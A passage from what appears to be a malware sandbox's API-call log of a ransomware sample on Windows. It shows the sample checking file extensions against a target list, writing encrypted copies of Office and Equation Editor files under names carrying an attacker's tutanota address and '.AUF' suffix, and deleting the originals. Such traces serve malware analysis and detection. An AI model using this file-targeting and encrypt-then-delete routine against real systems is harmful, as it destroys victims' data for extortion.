| out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.812] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0215.812] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.812] ReadFile (in: hFile=0x210, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.856] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.857] WriteFile (in: hFile=0x210, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0215.870] SetEndOfFile (hFile=0x210) returned 1 [0215.872] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.872] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.985] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.985] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0216.052] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0216.052] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0216.055] CloseHandle (hObject=0x210) returned 1 [0216.056] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0216.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.056] lstrlenW (lpString=".doc") returned 4 [0216.056] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0216.056] lstrlenW (lpString=".docx") returned 5 [0216.056] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0216.056] lstrlenW (lpString=".pdf") returned 4 [0216.056] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0216.056] lstrlenW (lpString=".xls") returned 4 [0216.056] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0216.056] lstrlenW (lpString=".xlsx") returned 5 [0216.056] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0216.056] lstrlenW (lpString=".ppt") returned 4 [0216.056] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0216.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.056] lstrlenW (lpString=".zip") returned 4 [0216.056] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0216.056] lstrlenW (lpString=".rar") returned 4 [0216.056] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0216.056] lstrlenW (lpString=".bz2") returned 4 [0216.056] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0216.056] lstrlenW (lpString=".7z") returned 3 [0216.056] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0216.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.056] lstrlenW (lpString=".dbf") returned 4 [0216.056] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0216.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.056] lstrlenW (lpString=".1cd") returned 4 [0216.056] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0216.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.056] lstrlenW (lpString=".jpg") returned 4 [0216.056] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0216.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.057] lstrlenW (lpString=".doc") returned 4 [0216.057] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0216.057] lstrlenW (lpString=".docx") returned 5 [0216.057] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0216.057] lstrlenW (lpString=".pdf") returned 4 [0216.057] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0216.057] lstrlenW (lpString=".xls") returned 4 [0216.057] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0216.057] lstrlenW (lpString=".xlsx") returned 5 [0216.057] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0216.057] lstrlenW (lpString=".ppt") returned 4 [0216.057] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0216.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.057] lstrlenW (lpString=".zip") returned 4 [0216.057] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0216.057] lstrlenW (lpString=".rar") returned 4 [0216.057] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0216.057] lstrlenW (lpString=".bz2") returned 4 [0216.057] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0216.057] lstrlenW (lpString=".7z") returned 3 [0216.057] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0216.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.057] lstrlenW (lpString=".dbf") returned 4 [0216.057] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0216.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.057] lstrlenW (lpString=".1cd") returned 4 [0216.057] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0216.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0216.057] lstrlenW (lpString=".jpg") returned 4 [0216.057] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0216.057] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0216.057] lstrlenW (lpString="EEINTL.DLL") returned 10 [0216.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.058] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=64096) returned 1 [0216.058] CloseHandle (hObject=0x210) returned 1 [0216.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0216.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.058] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.058] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0216.335] GetLastError () returned 0x0 [0216.335] ReadFile (in: hFile=0x210, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xfa60, lpOverlapped=0x0) returned 1 [0216.337] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0216.339] ReadFile (in: hFile=0x210, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.339] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0216.339] SetEndOfFile (hFile=0x204) returned 1 [0216.339] CloseHandle (hObject=0x204) returned 1 [0216.339] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.339] SetEndOfFile (hFile=0x210) returned 1 [0216.340] CloseHandle (hObject=0x210) returned 1 [0216.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.340] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0216.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.340] lstrlenW (lpString=".doc") returned 4 [0216.340] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.340] lstrlenW (lpString=".docx") returned 5 [0216.340] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0216.340] lstrlenW (lpString=".pdf") returned 4 [0216.340] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.340] lstrlenW (lpString=".xls") returned 4 [0216.340] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.340] lstrlenW (lpString=".xlsx") returned 5 [0216.341] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0216.341] lstrlenW (lpString=".ppt") returned 4 [0216.341] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.341] lstrlenW (lpString=".zip") returned 4 [0216.341] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.341] lstrlenW (lpString=".rar") returned 4 [0216.341] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.341] lstrlenW (lpString=".bz2") returned 4 [0216.341] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.341] lstrlenW (lpString=".7z") returned 3 [0216.341] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.341] lstrlenW (lpString=".dbf") returned 4 [0216.341] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.341] lstrlenW (lpString=".1cd") returned 4 [0216.341] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.341] lstrlenW (lpString=".jpg") returned 4 [0216.341] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.341] lstrlenW (lpString=".doc") returned 4 [0216.341] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.341] lstrlenW (lpString=".docx") returned 5 [0216.341] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0216.341] lstrlenW (lpString=".pdf") returned 4 [0216.341] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.341] lstrlenW (lpString=".xls") returned 4 [0216.341] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.347] lstrlenW (lpString=".xlsx") returned 5 [0216.347] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0216.347] lstrlenW (lpString=".ppt") returned 4 [0216.347] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.347] lstrlenW (lpString=".zip") returned 4 [0216.347] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.347] lstrlenW (lpString=".rar") returned 4 [0216.353] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.353] lstrlenW (lpString=".bz2") returned 4 [0216.353] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.353] lstrlenW (lpString=".7z") returned 3 [0216.353] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.353] lstrlenW (lpString=".dbf") returned 4 [0216.353] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.353] lstrlenW (lpString=".1cd") returned 4 [0216.353] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0216.353] lstrlenW (lpString=".jpg") returned 4 [0216.353] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.353] lstrcmpiW (lpString1=".CNT", lpString2=".AUF") returned 1 [0216.353] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0216.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.359] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=2557) returned 1 [0216.359] CloseHandle (hObject=0x208) returned 1 [0216.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0216.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.364] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.364] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.365] GetLastError () returned 0x0 [0216.365] ReadFile (in: hFile=0x208, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x9fd, lpOverlapped=0x0) returned 1 [0216.439] WriteFile (in: hFile=0x218, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0216.440] ReadFile (in: hFile=0x208, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.440] WriteFile (in: hFile=0x218, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.440] SetEndOfFile (hFile=0x218) returned 1 [0216.440] CloseHandle (hObject=0x218) returned 1 [0216.440] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.440] SetEndOfFile (hFile=0x208) returned 1 [0216.441] CloseHandle (hObject=0x208) returned 1 [0216.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.441] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0216.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.441] lstrlenW (lpString=".doc") returned 4 [0216.441] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0216.441] lstrlenW (lpString=".docx") returned 5 [0216.441] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0216.441] lstrlenW (lpString=".pdf") returned 4 [0216.441] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0216.441] lstrlenW (lpString=".xls") returned 4 [0216.441] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0216.441] lstrlenW (lpString=".xlsx") returned 5 [0216.442] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0216.442] lstrlenW (lpString=".ppt") returned 4 [0216.442] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".zip") returned 4 [0216.442] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString=".rar") returned 4 [0216.442] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString=".bz2") returned 4 [0216.442] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0216.442] lstrlenW (lpString=".7z") returned 3 [0216.442] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".dbf") returned 4 [0216.442] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".1cd") returned 4 [0216.442] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".jpg") returned 4 [0216.442] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".doc") returned 4 [0216.442] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString=".docx") returned 5 [0216.442] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0216.442] lstrlenW (lpString=".pdf") returned 4 [0216.442] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString=".xls") returned 4 [0216.442] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString=".xlsx") returned 5 [0216.442] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0216.442] lstrlenW (lpString=".ppt") returned 4 [0216.442] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".zip") returned 4 [0216.442] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString=".rar") returned 4 [0216.442] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString=".bz2") returned 4 [0216.442] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0216.442] lstrlenW (lpString=".7z") returned 3 [0216.442] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".dbf") returned 4 [0216.442] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".1cd") returned 4 [0216.442] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0216.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0216.442] lstrlenW (lpString=".jpg") returned 4 [0216.442] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0216.443] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0216.443] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0216.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.443] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=543304) returned 1 [0216.443] CloseHandle (hObject=0x208) returned 1 [0216.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0216.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.443] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.443] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: 